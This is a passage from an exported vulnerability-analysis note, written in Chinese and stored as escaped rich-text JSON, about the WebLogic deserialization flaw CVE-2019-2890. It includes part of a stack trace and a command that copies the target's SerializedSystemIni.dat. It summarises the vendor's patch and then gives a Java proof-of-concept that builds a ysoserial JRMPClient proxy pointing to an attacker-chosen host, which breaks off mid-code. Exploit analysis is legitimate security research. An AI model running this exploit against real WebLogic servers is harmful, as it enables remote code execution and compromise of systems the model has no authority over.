(java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6L43-1682254615000&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fEuD-1682254614999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3hJs-1682254615002&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FdhW-1682254615001&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H5wG-1682254615004&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pdas-1682254615003&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T5wa-1682254615006&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ENBS-1682254615005&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0O80-1682254615008&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tq0t-1682254615007&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dyTM-1682254615010&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EkhA-1682254615009&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ttew-1682254615012&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FsZD-1682254615011&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nIIJ-1682254615014&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CL27-1682254615013&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Gpg-1682254615016&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bWLT-1682254615015&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Aki6-1682254615018&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lCxl-1682254615017&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C084-1682254615020&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hOrJ-1682254615019&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AIyt-1682254615022&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uyCV-1682254615021&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yVdj-1682254615024&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jQli-1682254615023&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SgcZ-1682254615026&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bGZx-1682254615025&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oFcX-1682254539640&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J0af-1682254539639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vL9w-1682254539642&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OY8w-1682254539641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;该漏洞存在一定的利用条件，构造poc时需要目标服务器weblogic当前使用域下的&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;SerializedSystemIni.dat文件&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;，否则将无法构造PersistentContext类或是目标服务器decrypt失败：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yr71-1682254539645&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YAku-1682254539644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vUm7-1682254539643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;docker cp weblogic1036jdk8u121:/u01/app/oracle/Domains/ExampleSilentWTDomain/security/SerializedSystemIni.dat ./&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;javascript&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VYrk-1682254540641&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6618/WEBRESOURCE3877b52d57841c5fe724265aa4c39b52&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6618/WEBRESOURCE3877b52d57841c5fe724265aa4c39b52&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;svvH-1682254540642&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6619/WEBRESOURCEbb1bb2156a0759cb1bbb7dc5e5b0d81a&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6619/WEBRESOURCEbb1bb2156a0759cb1bbb7dc5e5b0d81a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DXXU-1682254539649&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4jwH-1682254539648&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;官方修复方案：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1EKZ-1682254539651&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ux3W-1682254539650&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在PersistentContext类进行readSubject方法时新增WSFilteringObjectInputStream，其resolveClass方法仅允许Subject的子类进行后续反序列化操作：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ta19-1682254540643&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6620/WEBRESOURCE7dfeca70c9b0d1014b5c64d7f70902d2&#34;,&#34;width&#34;:1838,&#34;height&#34;:714},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6620/WEBRESOURCE7dfeca70c9b0d1014b5c64d7f70902d2&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1838,&#34;height&#34;:714},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xNaP-1682254540644&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/6621/WEBRESOURCEd2971fae63538111017ba08e9192ab2a&#34;,&#34;width&#34;:1794,&#34;height&#34;:838},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/6621/WEBRESOURCEd2971fae63538111017ba08e9192ab2a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1794,&#34;height&#34;:838},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6cxq-1682254539655&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bg03-1682254539654&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;POC：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yWqj-1682254540586&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OUPf-1682254539657&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AQ8O-1682254539656&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.server.UnicastRef;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zgFb-1682254539661&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;15Am-1682254539660&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.transport.LiveRef;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oDTi-1682254539663&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;70vL-1682254539662&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import sun.rmi.transport.tcp.TCPEndpoint;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kX8f-1682254539665&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JmrA-1682254539664&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.kernel.KernelStatus;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ATHi-1682254539667&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z2AG-1682254539666&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.wsee.jaxws.persistence.PersistentContext;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KljY-1682254539669&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cvNK-1682254539668&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.kernel.KernelStatus.*;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ewId-1682254539671&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qqak-1682254539670&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8cHv-1682254539673&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rYKa-1682254539672&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.*;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6pg1-1682254539676&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oRPH-1682254539674&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Field;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OoXl-1682254539678&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tf8X-1682254539677&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Proxy;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IP8E-1682254539680&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;92Cb-1682254539679&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.registry.Registry;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WXV0-1682254539682&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EbN9-1682254539681&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.server.ObjID;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K7cm-1682254539684&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LZOG-1682254539683&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.rmi.server.RemoteObjectInvocationHandler;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jLXW-1682254539686&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ngfi-1682254539685&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Base64;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2UUi-1682254539688&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Tuu-1682254539687&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Random;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LBr8-1682254539690&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bq6O-1682254539689&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e0z2-1682254539692&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LxzW-1682254539691&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class CVE_2019_2890  {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fbtN-1682254539694&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oOmQ-1682254539693&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static Registry getObject(String command) throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qARj-1682254539696&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vQ7m-1682254539695&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int sep = command.indexOf(58);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D6Nz-1682254539698&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3ZGx-1682254539697&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String host;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BYiH-1682254539700&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qh46-1682254539699&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        int port;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;piij-1682254539702&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3hzZ-1682254539701&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (sep &lt; 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IFk4-1682254539704&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z4Gl-1682254539703&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            port = (new Random()).nextInt(65535);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bfVX-1682254539706&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TSOY-1682254539705&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            host = command;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ULSk-1682254539708&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xeR3-1682254539707&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E8eS-1682254539710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V6Tb-1682254539709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            host = command.substring(0, sep);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9WEB-1682254539712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vzFe-1682254539711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            port = Integer.valueOf(command.substring(sep + 1));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lu2T-1682254539714&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;un8l-1682254539713&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xVA6-1682254539716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YR9W-1682254539715&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k8fG-1682254539718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QliR-1682254539717&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjID id = new ObjID((new Random()).nextInt());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;frsl-1682254539720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Acha-1682254539719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        TCPEndpoint te = new TCPEndpoint(host, port);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZrSJ-1682254539722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BKX7-1682254539721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DUpu-1682254539724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5b45-1682254539723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6jAO-1682254539726&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JhTB-1682254539725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Registry proxy = (Registry)Proxy.newProxyInstance(ysoserial.payloads.JRMPClient.class.getClassLoader(), new Class[]{Registry.class}, obj);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VidU-1682254539728&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NUS0-1682254539727&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return proxy;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;S1de-1682254539730&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hDP1-1682254539729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XtpD-1682254539732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QlnK-1682254539731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LO4f-1682254539734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lFF9-1682254539733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.setProperty(\&#34;com.bea.core.internal.client\&#34;,\&#34;true\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3zzC-1682254539736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LZL9-1682254539735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        PersistentContext pc = new PersistentContext(null,null,null,null,null, 